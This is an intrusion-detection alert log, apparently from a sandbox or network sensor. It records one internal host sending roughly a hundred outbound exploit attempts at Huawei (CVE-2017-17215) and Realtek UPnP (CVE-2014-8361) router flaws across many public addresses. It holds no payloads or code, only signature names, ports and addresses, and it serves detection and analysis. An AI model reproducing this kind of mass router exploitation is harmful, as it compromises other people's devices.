Source Port:	41502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 152.151.18.5

Timestamp:	07/20/24-23:01:08.381624
SID:	2835222
Source Port:	53652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.140.4.23

Timestamp:	07/20/24-23:01:36.852816
SID:	2829579
Source Port:	55220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.85.21.124

Timestamp:	07/20/24-23:01:12.485458
SID:	2835222
Source Port:	39152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.27.18.240

Timestamp:	07/20/24-23:01:32.206637
SID:	2835222
Source Port:	34782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.92.99.71

Timestamp:	07/20/24-23:01:27.361992
SID:	2027339
Source Port:	33502
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 141.78.2.84

Timestamp:	07/20/24-23:01:04.893876
SID:	2835222
Source Port:	34186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.9.194.141

Timestamp:	07/20/24-23:01:06.800702
SID:	2835222
Source Port:	56986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.33.104.162

Timestamp:	07/20/24-23:01:12.504870
SID:	2835222
Source Port:	56734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.178.123.199

Timestamp:	07/20/24-23:01:32.276800
SID:	2829579
Source Port:	40660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 119.44.232.241

Timestamp:	07/20/24-23:01:04.168266
SID:	2027339
Source Port:	37400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.179.148.237

Timestamp:	07/20/24-23:01:27.277398
SID:	2829579
Source Port:	52414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.11.177.150

Timestamp:	07/20/24-23:00:59.021905
SID:	2829579
Source Port:	42974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.235.116.70

Timestamp:	07/20/24-23:01:12.533731
SID:	2829579
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 159.48.133.27

Timestamp:	07/20/24-23:01:27.358600
SID:	2027339
Source Port:	32812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.104.162.59

Timestamp:	07/20/24-23:01:02.612616
SID:	2829579
Source Port:	59616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 88.243.83.197

Timestamp:	07/20/24-23:01:27.289200
SID:	2829579
Source Port:	36642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.235.93

Timestamp:	07/20/24-23:01:32.259330
SID:	2829579
Source Port:	40012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 202.189.16.223

Timestamp:	07/20/24-23:01:06.600161
SID:	2027339
Source Port:	45432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.158.160.89

Timestamp:	07/20/24-23:01:27.229449
SID:	2829579
Source Port:	44440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 84.177.161.48

Timestamp:	07/20/24-23:01:32.260444
SID:	2829579
Source Port:	55558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.124.65.87

Timestamp:	07/20/24-23:01:25.388789
SID:	2835222
Source Port:	36928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.52.246.40

Timestamp:	07/20/24-23:01:06.798720
SID:	2829579
Source Port:	59462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.119.15.127

Timestamp:	07/20/24-23:01:25.390311
SID:	2835222
Source Port:	36556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.118.70.108

Timestamp:	07/20/24-23:01:04.848080
SID:	2835222
Source Port:	59860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.239.6.221

Timestamp:	07/20/24-23:01:06.809008
SID:	2835222
Source Port:	57620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.150.40.90

Timestamp:	07/20/24-23:01:04.874130
SID:	2835222
Source Port:	57240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.178.157.195

Timestamp:	07/20/24-23:01:27.277398
SID:	2829579
Source Port:	43008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.89.156.202

Timestamp:	07/20/24-23:01:36.781020
SID:	2835222
Source Port:	55724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 70.153.220.198

Timestamp:	07/20/24-23:01:27.366334
SID:	2027339
Source Port:	36698
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.216.94.0

Timestamp:	07/20/24-23:01:14.546238
SID:	2027339
Source Port:	46434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.176.116.11

Timestamp:	07/20/24-23:01:36.808711
SID:	2835222
Source Port:	33960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.91.199.137

Timestamp:	07/20/24-23:01:12.539005
SID:	2835222
Source Port:	57216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.0.7.16

Timestamp:	07/20/24-23:01:36.866693
SID:	2829579
Source Port:	56068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.173.217.200

Timestamp:	07/20/24-23:01:08.449909
SID:	2835222
Source Port:	43154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 128.25.16.1

Timestamp:	07/20/24-23:01:14.556764
SID:	2027339
Source Port:	41648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 87.8.107.75

Timestamp:	07/20/24-23:01:14.566461
SID:	2831300
Source Port:	38132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 172.54.67.32

Timestamp:	07/20/24-23:01:14.530874
SID:	2027339
Source Port:	38220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 50.131.46.205

Timestamp:	07/20/24-23:01:14.574230
SID:	2831300
Source Port:	51640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.10.128.41

Timestamp:	07/20/24-23:01:22.749655
SID:	2829579
Source Port:	34274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.28.173.22

Timestamp:	07/20/24-23:01:08.418538
SID:	2829579
Source Port:	42354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 52.185.40.220

Timestamp:	07/20/24-23:01:14.500759
SID:	2027339
Source Port:	40920
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.160.111.35

Timestamp:	07/20/24-23:01:14.512728
SID:	2027339
Source Port:	51050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 98.109.125.254

Timestamp:	07/20/24-23:01:32.232613
SID:	2835222
Source Port:	59510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.81.132.84

Timestamp:	07/20/24-23:01:22.743515
SID:	2829579
Source Port:	40824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.18.109

Timestamp:	07/20/24-23:01:04.853128
SID:	2829579
Source Port:	55044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 14.2.30.96

Timestamp:	07/20/24-23:01:06.194003
SID:	2027339
Source Port:	35384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.189.73.200

Timestamp:	07/20/24-23:01:06.809008
SID:	2835222
Source Port:	55944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.34.82.97

Timestamp:	07/20/24-23:01:08.447448
SID:	2835222
Source Port:	48688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 32.189.105.228

Timestamp:	07/20/24-23:01:36.781255
SID:	2829579
Source Port:	38532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.58.206.220

Timestamp:	07/20/24-23:01:02.685657
SID:	2829579
Source Port:	51442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 163.251.53.210

Timestamp:	07/20/24-23:01:27.354949
SID:	2831300
Source Port:	37680
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.237.78.212

Timestamp:	07/20/24-23:01:12.485458
SID:	2829579
Source Port:	59690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.223.50.254

Timestamp:	07/20/24-23:01:22.799496
SID:	2835222
Source Port:	36170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 31.136.126.119

Timestamp:	07/20/24-23:01:06.801747
SID:	2829579
Source Port:	32898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 2.214.49.67

Timestamp:	07/20/24-23:01:22.780464
SID:	2829579
Source Port:	59960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 69.82.73.167

Timestamp:	07/20/24-23:01:04.775487
SID:	2027339
Source Port:	36730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 114.0.228.232

Timestamp:	07/20/24-23:01:14.530141
SID:	2027339
Source Port:	33810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 13.207.20.98

Timestamp:	07/20/24-23:01:21.761772
SID:	2025132
Source Port:	51806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.139.135

Timestamp:	07/20/24-23:01:04.848605
SID:	2829579
Source Port:	41346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 147.249.130.149

Timestamp:	07/20/24-23:01:20.569310
SID:	2025132
Source Port:	53066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 119.150.77.161

Timestamp:	07/20/24-23:01:14.512354
SID:	2027339
Source Port:	34260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.67.200.226

Timestamp:	07/20/24-23:01:25.390486
SID:	2829579
Source Port:	34132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.60.115

Timestamp:	07/20/24-23:01:22.748660
SID:	2835222
Source Port:	56826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.159.38.106

Timestamp:	07/20/24-23:01:04.907419
SID:	2829579
Source Port:	53438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 158.248.123.112

Timestamp:	07/20/24-23:01:12.502954
SID:	2829579
Source Port:	32958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.144.216.124

Timestamp:	07/20/24-23:01:08.381149
SID:	2829579
Source Port:	53996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.140.115.231

Timestamp:	07/20/24-23:01:02.601732
SID:	2829579
Source Port:	52314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.114.34

Timestamp:	07/20/24-23:01:02.613618
SID:	2829579
Source Port:	44900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 176.69.59.228

Timestamp:	07/20/24-23:01:14.526400
SID:	2027339
Source Port:	34820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 165.40.137.113

Timestamp:	07/20/24-23:01:27.356781
SID:	2027339
Source Port:	47184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.158.33.62

Timestamp:	07/20/24-23:01:32.257456
SID:	2829579
Source Port:	49448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.223.241.149

Timestamp:	07/20/24-23:01:12.360354
SID:	2829579
Source Port:	57958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.238.114.207

Timestamp:	07/20/24-23:01:25.391404
SID:	2835222
Source Port:	43648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 13.207.20.98

Timestamp:	07/20/24-23:01:27.361793
SID:	2831300
Source Port:	52498
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.21.88.67

Timestamp:	07/20/24-23:00:59.020288
SID:	2829579
Source Port:	44316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.178.240

Timestamp:	07/20/24-23:01:25.464927
SID:	2829579
Source Port:	57332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.246.231

Timestamp:	07/20/24-23:01:06.801544
SID:	2829579
Source Port:	36954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 176.151.180.197

Timestamp:	07/20/24-23:01:14.539379
SID:	2027339
Source Port:	44528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 53.36.224.51

Timestamp:	07/20/24-23:01:06.868773
SID:	2025132
Source Port:	49536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.200.28.48

Timestamp:	07/20/24-23:01:02.678688
SID:	2829579
Source Port:	52990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 206.148.137.228

Timestamp:	07/20/24-23:01:22.736570
SID:	2835222
Source Port:	41180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.102.232.62

Timestamp:	07/20/24-23:01:27.352864
SID:	2027339
Source Port:	42194
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 173.70.195.138

Timestamp:	07/20/24-23:01:03.850478
SID:	2027339
Source Port:	41808
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 138.25.247.16

Timestamp:	07/20/24-23:01:14.521013
SID:	2831300
Source Port:	36066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.129.238.209

Timestamp:	07/20/24-23:01:22.736536
SID:	2835222
Source Port:	48678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.20.89.100

Timestamp:	07/20/24-23:01:12.485458
SID:	2829579
Source Port:	58732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.13.103.39

Timestamp:	07/20/24-23:01:15.087650
SID:	2835222
Source Port:	41504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 210.242.150.143

Timestamp:	07/20/24-23:01:14.522190
SID:	2831300
Source Port:	47062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 140.192.14.130

Timestamp:	07/20/24-23:01:27.354179
SID:	2831300
Source Port:	40872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.241.50.58

Timestamp:	07/20/24-23:01:12.539005
SID:	2835222
Source Port:	55336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.180.195.105

Timestamp:	07/20/24-23:00:59.022098
SID:	2835222
Source Port:	43002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.200.196.220

Timestamp:	07/20/24-23:01:22.736870
SID:	2835222
Source Port:	59148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 4.26.18.222

Timestamp:	07/20/24-23:01:14.505885
SID:	2027339
Source Port:	42198
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.197.147.99

Timestamp:	07/20/24-23:01:36.780938
SID:	2835222
Source Port:	34824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.41.81.45

Timestamp:	07/20/24-23:01:06.800702
SID:	2829579
Source Port:	57088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 51.92.99.71

Timestamp:	07/20/24-23:01:21.646701
SID:	2025132
Source Port:	32804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.33.246.45

Timestamp:	07/20/24-23:01:36.780648
SID:	2835222
Source Port:	39076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 171.117.89.236

Timestamp:	07/20/24-23:01:14.527257
SID:	2831300
Source Port:	43050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.77.4.214

Timestamp:	07/20/24-23:01:04.846946
SID:	2829579
Source Port:	54142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.46.40.182

Timestamp:	07/20/24-23:01:25.390486
SID:	2829579
Source Port:	33624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 37.40.108.99

Timestamp:	07/20/24-23:01:20.458035
SID:	2025132
Source Port:	44230
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

